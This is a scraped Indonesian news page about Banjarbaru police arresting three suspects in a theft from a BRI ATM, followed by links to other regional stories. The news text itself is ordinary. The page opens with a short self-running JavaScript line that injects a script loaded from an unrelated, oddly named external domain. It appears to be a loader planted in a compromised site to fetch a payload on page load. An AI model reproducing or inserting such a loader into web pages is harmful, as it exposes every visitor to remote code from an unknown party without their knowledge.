(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Gasak Ratusan Juta, Tiga Sindikat Pembobol ATM Diamankan Polres Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru berhasil meringkus 3 dari 4 orang pelaku pencurian uang di mesin Anjungan Tunai Mandiri (ATM) BRI di depan Hotel Nor Indah, Landasan Ulin, Kota Banjarbaru.

Ketiga pelaku diringkus petugas dari Polres Banjarbaru di lokasi berbeda. Mereka adalah Deni Setiawan (28) warga Landasan Ulin Timur Kota Banjarbaru, Wahyu Nugroho (25) warga Kampung Baru, Tanah Bumbu dan Zainal Akli (28), warga Sungai Paring, Martapura.

Kapolres Banjarbaru, AKBP Nur Khamid melalui Kasi Humas Polres Banjarbaru, AKP Tajudin Noor mengatakan, dalam keterangannya, Rabu (30/3/2022) siang, mengatakan, ketiganya ditangkap di tempat dan waktu yang berbeda.

 

Baca juga  : Seorang Perempuan Bersama 70 Liter Tuak Dibawa ke Mapolsek Liang Anggang

Deni Setiawan (28) ditangkap pada Kamis (24/3/2022) lalu oleh Team Resmob Polres Banjarbaru yang kemudian di-back up Resmob Tanjung Perak dan berhasil diamankan di dalam kapal.

“Pelaku melarikan diri pada awalnya ke daerah Kediri, Jawa Timur, setelah berkoordinasI dengan anggota (Polisi, red) di Kediri dan menyerahkan data pelaku, tapi pelaku berhasil lolos, kemudian melarikan diri ke Tanjung Perak,” ujar AKP Tajudin Noor.

Setelah diamankan petugas, Sambung Tajudin, Deni mengakui ketika melakukan tindakan pencurian tersebut bersama tiga orang teman lainnya atas nama Wahyu, Zainal Akli dan Achmad Fauzi.

“Dari keterangan DS (28) petugas kemudian melakukan pengembangan terhadap pelaku lainnya,” sambung Tajudin.

Pengembangan kasus tersebut rupanya membuahkan hasil, pada Jumat (25/3/2022), petugas Resmob Polres Banjarbaru berhasil mengamankan dua orang pelaku lainnya, Zainal Akli dan Wahyu.

 

Baca juga : Ratusan Miras Diangkut Anggota Polsek Liang Anggang dari Pondok John Guntung Manggis

“Satu orang pelaku AF masih dalam pengejaran,” ujarnya.

Kemudian tim membawa 3 orang pelaku beserta barang bukti ke Mapolres Banjarbaru untuk proses lebih lanjut.

Berdasarkan kejadian tersebut, ketiga pelaku harus mempertanggungjawabkan tindakannya berdasarkan Pasal 363 Ayat (1) ke 5 KUHPidana. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

51 menit ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

1 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

3 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

3 jam ago

Srikandi PLN UPT Palangkaraya Mengajar di SDN 5 Bukit Tunggal

KANALKALIMANTAN.COM, PALANGKARAYA – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Palangkaraya melalui gugus tugas Srikandi… Read More

6 jam ago

Pemkab HSU Gelar Peringatan Harkitnas

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan memimpin upacara peringatan… Read More

6 jam ago

This website uses cookies.